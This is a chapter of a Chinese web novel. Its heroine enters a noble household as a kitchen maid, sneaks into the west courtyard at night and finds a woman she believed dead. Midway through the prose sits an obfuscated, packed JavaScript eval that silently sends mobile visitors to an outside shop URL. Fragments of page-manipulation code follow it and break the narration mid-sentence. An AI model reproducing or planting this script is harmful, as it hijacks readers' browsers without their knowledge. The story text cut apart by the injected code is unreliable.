“等等”
“你说的送我进今日府就是让我进去当侍女吗?”花行眠太阳穴直突突忍不住的跳,忍不住扶额,咬牙切齿地说。
“这个嘛……那我也没有别的手段了。”秋断水自知理亏,小声说,“而且这个我还是花了钱找人通融才办通的。”
“毕竟我们只是个杀鱼的平民百姓,人家收侍女也是有要求的好吗,而且按照你这脾气,别说碰见玉明了,能在今日府里面找到第一块碎片都费劲”
……
说到这里的时候她已经无话可说了,这是她不知道第几次怀疑秋断水系统身份的真实性了。
真的会有这么废物的系统吗?这对得起系统这两个字吗!
但是她却没有任何办法去求证。
毕竟,他是另一个世界的人。
见花行眠被他噎得说不出话来,秋断水趁热打铁地继续说:“只要能把小说的世界线拖回正轨。”
“到那个时候,我保证不会再有一个外来者进入这个世界”
又是这样的话,每次花行眠失去耐性的时候他就会搬出这一番话来说服他。
秋断水知道花行眠不会拒绝,不知道为什么说出这一番话的时候,花行眠总会妥协。
花行眠盯着秋断水的脸,没说话,不知道在想些什么。
虽然和花行眠相处了这段时间,归根结底他们只不过是目的地相同的共行者罢了,连普通朋友都不算。
秋断水神色自定地给自己倒了一杯水,正准备抬起的手被花行眠突然的一番话给惊顿住了。
花行眠冷冷地看着他,语气肯定地说道:“其实你根本不想回到你原来的世界吧?”
其实她怎么想都想不明白,就实际情况来说,秋断水应该比她着急得多,毕竟他才是需要纠正一切然后东山再起的人,但这段时间他却怡然自得,不紧不慢地过着平凡的日子。
不像是被迫来到这里的人,反倒挺享受。
“你这是什么意思?”秋断水不着痕迹地隐藏了自己刚刚的一点点小破绽,皱着眉看着她,一副被她的一番话惹怒的模样。
“我怎么可能不想回去?我前途无量的未来,我精彩绝伦的人生都等着我再开启,留在这对我有什么好处?”
“我什么意思,你心里清楚。”花行眠见他不打算承认,继续追问下去也是毫无意义的,只见少女利落起身离开客厅,冷冷地留下话语。
“你最好保证你说的是真的。”
毕竟,我也希望你
早日归家。
秋断水垂眸小饮着茶水,看着气定神闲的模样,但只要换个角度就可以看见他紧捏着茶杯的手指与眼中的毫不掩饰的慌乱。
“你们新来的丫头,暂时不能去到前院侍奉”为首的中年女子秉着手来回踱步地说着。
花行眠垂头听着她说话,低着头让人看不清她的神色。
此时的她心中暗骂了秋断水一万次了,说好是进来当小姐的贴身侍女,结果是来当烧火丫头。
下次见面,她一定要把他的头发全拔了。
为首的中年女子被称为伏婆婆,
其实年纪说不上很大,估摸着三四十岁的样子。
她说完后,花行眠与其他的女孩一样顺从听话地点了点头,表示自己已经明白了。
和她一起的女孩有五个,但是被分去厨房的只有她一个。
这可是一个辛苦活。
花行眠扯着一张脸,一个下午削了四十斤的土豆,剥了五斤的蒜,
众人天黑休息后,她还需要将厨房整理干净。
直到花行眠将最后一个碟子洗干净,她理了理自己有些凌乱的碎发,脸上已经累到展示不出任何的表情了。
一边走出去,一边轻捶着自己酸痛到不行的肩膀,
“这比她杀鱼还累。”
她揉着自己僵硬到不行的脖颈,左右扭着放松,抬头看着天上的月牙。
今府很大,不止一个厨房,她所在的厨房负责的是西苑的餐食。
西苑的厨房是最小的一个厨房,加上花行眠也只有九个人。
刚来到厨房的时候,打头的卢厨很兴奋地拍了拍她的肩膀说,“盼星星盼月亮,终于等到你了”
花行眠刚开始以为只是一个外向可亲的人罢了,当她马不停蹄地削完那些土豆的时候,花行眠意识到了不对劲。
这是为了苦力到来而开心的吧
今天入府的时候,花行眠怀中那块被秋断水打孔穿成坠子的玉石发出阵阵暖意,经过西苑的时候尤为强烈。
花行眠今晚打算去西苑转转。
希望不会遇到熟人。
漆黑的小路上每隔几段距离就会摆上一个小灯笼,昏暗的烛光并没有起到让人看清楚路况的作用,只能起到指引方向的用处。
进入西苑一般从大门进去,可今日府的每一个主门都有护卫看守,平时的进出都查得十分严密。
像她这样的小丫鬟更不可能随意进出了。
一道门怎么可能难得到花行眠。
凭借着零碎的记忆悄悄地避开了晚上巡逻的人,随着脚步声渐渐远去,蛙鸣声和虫鸣声也越发的聒噪。
花行眠仰着头看着极高的围墙,估摸着有四米五那么高,原本她打算找个低一点的地方翻过去的,没想到沿着围墙走了那么久,还是没发现矮一点的地方。
看来这今日府的管家是一点回扣都不吃啊。
如果是之前,这点距离并不能拦住她,但是她现在也只是一个十几岁的小姑娘,那些超标的功力在这个身体里面见不得一点影子。
现在的她,是普通得不能再普通的人。
花行眠不知道第几次尝试从这个有石头垫脚的角落翻过去,可连续几次都摔了下来。
没一会儿身上就沾满了灰土,劳碌了一整天的花行眠再加上这副模样,只能用四个字形容
狼狈不堪。
她弯腰掸了掸身上的尘土,还是不想放弃,皱着眉在附近张望了好一会,又不死心地继续往前走了一段距离后,意外发现围墙的旁边发现了一棵还算粗壮的树,承载她这样的重量是够的。
只需要爬上去,顺着枝条靠近围墙,再跳进去。
花行眠仰着头望着树木与围墙之间的距离,思考着刚才的方案,理论上是行得通的
现在只有一个问题,她要怎么出来?
这进去的路是找到了,可是出来就成问题了。
花行眠烦躁地挠了挠头,牙齿紧咬的发出咯咯的声音,心中暗骂着秋断水的不靠谱。
虽然这样想着,但是手上的动作却没有停下,拳头攥紧又松开,手脚并用利索地爬上了树,顺着一侧的枝干,花行眠渐渐地靠近了围墙,在跳上围墙前的一瞬间,她犹豫了一下,
她的脑海中忽然蹦出了一个念头
“真的需要做得这么尽心吗?她又不是主角”
也仅仅是一瞬间,这个念头随着她落到围墙上被抛之脑后。
花行眠的目光从高耸的围墙顺着往下看,如果就这样跳下去的话,她现在的身体一定会摔骨折的。
花行眠猫着身子,小心翼翼地往地势高一点的角落走去。
砰的一声,花行眠从围墙上跳了下来,声音不算特别大。
花行眠打量着她落下来的这个院子。
应该没有人居住在这个小别院,院子里面生长着些许杂草,摆在廊上的花卉也枯萎得不行,如果有人居住的话,她的落地声音一响起来肯定会有人过来逮她。
花行眠嘴角上扬起了点弧度,还挺走运。
只不过她现在并不清楚西苑住着谁,秋断水的话还在她的脑海里回响。
“今日府有三个孩子,两男一女,你只需要成为二小姐今日晴的贴身侍女,之后见到玉明的事情便不是什么难事”
今日晴,花行眠口中呢喃着这个名字,似乎想到了什么旧事。
那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702913|208244||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
急躁跋扈的大小姐,如今她花行眠居然沦落到要给她做丫鬟了。。
现在追究前尘往事也没用了,毕竟依照现在的情况,别说成为贴身侍女了,见到她都是个问题。
她得思考着如果不能成为贴身侍女,应该怎么办?
不如给她下一个毒,或者绑架她,以此为威胁。
这样后患也太大了,玉明知道的话,肯定不会把她带回太初的,说不定还会把她杀了。
头好疼,花行眠脑子一下转不过来,用手拍了拍自己的脑袋试图抑制住这疼痛。
她现在的身体素质怎么会差到这种地步?
在西苑粗略地逛了一圈后,花行眠对这里的布局已经有了大致的了解了。
可站在围墙下,花行眠又回到了不久前的困境,她出不去了,围墙的另一边并没有很高的树木能够给她借力,最低的围墙边她也爬不上去。
啧——
花行眠毫不犹豫转身走进了院子,虽然没有人住在这,但是也许有能够帮助她的工具,绳子,椅子,桌子,有梯子最好了。
反正这里也是一个废院,等被发现的时候,也查不到是谁了。
花行眠走到房门口,木门上糊着的窗纸已经破烂不堪了,一副要落不落的样子。
她伸出手,几根手指触着门轻推了一下,推不动。
她皱起了眉,以为是年久失修,打不开也正常,她用上两只手,身子的重量和手臂的力量一起压过去,但是破旧的门却依然纹丝未动。
花行眠咋舌,往后退了一步,打量着这个破旧的屋子:“怎么回事?不应该啊”
说着她提起了自己的衣摆,小腿抬起,正打算用力踹过去,试图把门给踹开,正当花行眠要踹到门的那一瞬间,之前结实得不行的门却突然松动打开了。
吓得花行眠猛然地收回脚,就着惯性往后退了好几步。
她抬眼看过去,只见那扇门缓缓打开,出现了一个女人。
淡蓝色的纱衣披在她的白皙的皮肤上,脖颈间佩戴着枚羊脂玉无事牌,如同晴天白云一般,即便是昏暗的夜色也无法遮掩,模样美丽得不行,唇红齿白,眸若春水。
但是整个人却透露出一股冷冽的气息。
花行眠看着那个女子,心脏漏了一拍,像是看见什么不可思议的事情一样,面色失控,一时说不出话来。
整个人都呆住了。
那人见花行眠不语,搭在门上纤纤玉指有些用力地摁在上面,抬眼盯着她冷冷开口:“你是谁,大晚上的来这做什么?”
花行眠愣了一会,眼睛死死地盯着那个女子的脸,有些不可置信地喃喃着“今日雪?怎么可能?你居然还活着”
因为隔着一段距离,那名被花行眠称为今日雪的女子对她说的话听得不是很清楚,只能零星听到几个字,恰巧最后三个字听得最清楚。
一下子了然,面上释然地笑了起来,目光含着深意地在花行眠身上点了点:“原来是看我死没死啊”
“回去告诉哥哥,把棺材再涂上一层漆料,我没有他希望的死得那么快”
说着便关上了门,留下花行眠一人在黑夜之中。
花行眠快速地眨了好几下眼,宕机的脑子过了一会才缓了过来,看着紧闭的门,刚刚发生的一切好像是幻觉,但是夜晚吹过的凉风清清楚楚地告诉她,这是真的。
那就是今日雪,就凭她身上那一块无事牌花行眠就不可能认错,那块玉可是无数次重生她都没放弃寻找的东西。
她一眼就能认出。
往前的每一次寻找,这块玉都随着今日雪的死亡杳无踪迹,原本她以为这次也一样,今日雪也会在她十二岁的时候病死,没想到居然没有死。
她居然还活着,还送到了自己的面前。
花行眠惊喜地用手捂住嘴,但是眼中的疯狂的笑意却无所遁形地流露了出来。
心脏炽烈的狂跳与玉石滚烫混合在一起,可花行眠却无心思考。